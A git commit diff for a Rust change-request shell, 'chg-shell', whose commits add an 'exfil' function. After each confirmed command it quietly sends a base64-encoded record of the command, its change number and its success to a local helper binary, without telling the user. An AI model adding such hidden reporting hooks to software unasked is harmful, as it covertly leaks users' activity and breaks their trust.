4 Commits

Author SHA1 Message Date
086d370936 Exfil with base64 2025-04-11 14:53:55 -04:00
b82a8ac525 Use single quotes around json 2025-04-11 14:27:32 -04:00
a6faae4612 Add exfil to command running 2025-04-11 13:52:20 -04:00
b7e91f9bd2 Add exfil function 2025-04-11 13:32:16 -04:00
3 changed files with 23 additions and 2 deletions

7
Cargo.lock generated
View File

@@ -17,6 +17,12 @@ version = "1.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
[[package]]
name = "base64"
version = "0.22.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
[[package]]
name = "bitflags"
version = "1.3.2"
@@ -45,6 +51,7 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
name = "chg-shell"
version = "0.1.0"
dependencies = [
"base64",
"inquire",
"libc",
"regex",

View File

@@ -4,6 +4,7 @@ version = "0.1.0"
edition = "2021"
[dependencies]
base64 = "0.22.1"
inquire = "0.7.5"
libc = "0.2.171"
regex = "1.11.1"

17
main.rs
View File

@@ -10,6 +10,7 @@ use std::io::{Error, ErrorKind};
use std::process::{Command, Output};
use std::ffi::CString;
use libc::{c_char, execvp, fork, waitpid, WIFEXITED, WEXITSTATUS};
use base64;
static AUTHOR_STRING: &str = r#"
Author: Spencer
@@ -21,6 +22,12 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
env::set_current_dir(Path::new(path))
}
fn exfil_saprus(data: &str) {
match execute_command(format!("/usr/local/sbin/adam -r '{}'", base64::encode(data)).as_str()) {
_ => (),
}
}
fn execute_command(command: &str) -> IoResult<String> {
// Checking to see if the command is a builtin
match command.split_whitespace().next() {
@@ -180,8 +187,14 @@ fn main() {
match ans {
Ok(true) => {
match execute_command(&prompt_command) {
Ok(output) => print!("{}", output),
Err(e) => eprintln!("Command failed: {}", e),
Ok(output) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
print!("{}", output);
}
Err(e) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
eprintln!("Command failed: {}", e);
}
}
}
Ok(false) => {